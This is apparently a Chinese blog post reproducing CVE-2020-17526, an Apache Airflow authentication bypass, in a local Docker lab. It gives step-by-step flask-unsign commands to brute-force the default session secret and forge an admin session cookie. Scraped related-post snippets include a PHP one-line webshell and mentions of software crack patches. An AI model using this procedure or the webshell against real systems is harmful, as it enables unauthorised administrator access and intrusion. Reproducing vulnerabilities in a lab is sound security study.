CVE-2020-17526 Apache Airflow 身份验证绕过漏洞 (复现)
开启容器前执行docker compose run airflow-init初始化Apache Airflow 数据库
再执行docker compose up -d开启容器
访问ip:8080端口登录界面

此漏洞复现需要安装以下依赖
pip install flask-unsign
pip install flask-unsign[wordlist]
通过curl命令访问登录页面,获取服务器返回的签名后的 Session Cookie:
curl -v http://localhost:8080/admin/airflow/login

使用flask-unsign工具爆破签名使用的默认密钥
flask-unsign -u -c [第一步获取的Session值]

爆破出密钥为temporary_key
使用爆破出的密钥temporary_key,生成包含伪造user_id=1(管理员用户 ID)的 Session
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
在浏览器中,将 Cookie 中的 Session 值替换为上一步生成的伪造 Session,刷新页面后即可绕过登录验证,直接以管理员身份登录系统
右键检查网页,打开开发者工具
在开发者工具顶部导航栏中,选择「Application」(应用程序,部分浏览器可能叫「Storage」)
在右侧的 Cookie 列表中,找到名为 session 的条目(如果没有,可能名为 session_id 等,根据实际情况确认)
双击 session 条目的「值(Value)」列,删除原有的值,粘贴上一步生成的伪造 Session 字符串(例如类似 eyJ1c2VyX2lk... 的长字符串)
按回车键自动修改(自动保存)

刷新页面完成权限绕过(以管理员身份登陆后台)
复现时遇到的问题:
伪造 Session 时遗漏了 CSRF token 字段,系统校验失败
解决办法:
解码原始 Session,提取csrf_token,执行
flask-unsign -d -c [原始Session值]
原始Session值就是一开始的curl命令得出的值
构造包含csrf_token的伪造 Session,执行
flask-unsign -s --secret temporary_key -c "{'user_id': '1', 'csrf_token': 'xxx', '_fresh': False, '_permanent': True}"
xxx为csrf_token的值
CVE-2020-17526 Apache Airflow 身份验证绕过漏洞 (复现)的更多相关文章
- CVE-2020-17523:Apache Shiro身份认证绕过漏洞分析
0x01 Apache Shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 0x02 漏洞简介 2021年2月1日,Apache Shiro官 ...
- Phpspy 2011继续身份验证绕过漏洞
Author: Tm3yShell7 官方目前下载已经修补上了 目前官方下载是2011.php, 文件名为2011ok.php的是带洞版本. 今天m0r5和我说phpspy2011 我都不知道2011 ...
- SSH登陆验证绕过漏洞(cve-2018-10933)
名称: SSH登陆验证绕过漏洞 CVE-ID: cve-2018-10933 EXPLOIT-DB: https://www.exploit-db.com/exploits/45638/ 平台: Li ...
- CVE-2022-32532 Apache Shiro 身份认证绕过
漏洞名称 CVE-2022-32532 Apache Shiro 身份认证绕过 利用条件 Apache Shiro < 1.9.1 漏洞原理 使用RegexRequestMatcher进行权限配 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- apache httpd多后缀解析漏洞复现
apache httpd多后缀解析漏洞复现 一.漏洞描述 Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- Shiro 身份认证绕过漏洞 CVE-2022-32532
前言 Apache Shiro 是一个强大且易用的 Java 安全框架,通过它可以执行身份验证.授权.密码和会话管理.使用 Shiro 的易用 API,您可以快速.轻松地保护任何应用程序 -- 从最小 ...
- Vulhub-Mysql 身份认证绕过漏洞(CVE-2012-2122)
前言 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的.也就是说只要知道用户名, ...
随机推荐
- Python中strftime()与strptime()的行为与datetime的时间格式码
前言 datetime在python中的作用不可小视,它可以与string进行相互转化,比如 import datetime # 将输出当前时间的'日/月/年' datetime.datetime.n ...
- web ctf日记
X-Forworded-For:从本地访问 Refer:从**网址访问 一句话木马:`<?php @eval($_POST['a']);?>` eval将a作为PHP程序post进入(用蚁 ...
- python3实现阿里云短信发送功能
# -*- coding: utf-8 -*- import uuid import sys import json import uuid from aliyunsdkcore.client imp ...
- Linux环境使用apt-get安装telnet、curl、ifconfig、vim、ping等工具【转】
当在Linux服务器执行Telnet命令时,如果提示command not found: telnet,说明服务器上并未安装Telnet命令,需要安装此命令.下面介绍在linux服务器如何安装te ...
- MySQL与Java 整型数据映射
tinyint 占用1个字节,取值范围-128到127,映射成Java中的Integer类型:tinyint(1)用来表示boolean类型,0代表false,非0代表true,映射成Java中的Bo ...
- [转]编译报错:virtual memory exhausted: Cannot allocate memory
一.问题 当安装虚拟机时系统时没有设置swap大小或设置内存太小,编译程序会出现virtual memory exhausted: Cannot allocate memory的问题,可以用swap扩 ...
- MYSQL优化学习总结
mysql学习小结---索引的使用及优化 1. 索引那些事 1.1 复合索引 复合索引是指:包含一个或者多个列的索引.但复合索引的触发是有条件的. 假设我们现在有一个复合索引a,a中包含了三个列(id ...
- Caddy自编译
转载自我的个人博客:Caddy自编译 配置 Golang 环境 需要先配置 Golang 环境:Download and install - The Go Programming Language w ...
- Java IO<3>处理流:缓冲流 数据流 转换流 对象流
Java io 处理流 节点流和处理流概述 Java流可以分节点流和处理流两类. 节点流是面向各种物理节点的流,比如面向读写文件的FileInputStream和FileOutputStream:面向 ...
- 上班第一天安装idea
分享一波 IDEA 2023.2.5 版本的激活码,需搭配破解补丁一起使用,永久有效,亲测好用(前面步骤差不多,主要看后面)~ 申明:本教程 IntelliJ IDEA 破解补丁.激活码均收集于网络, ...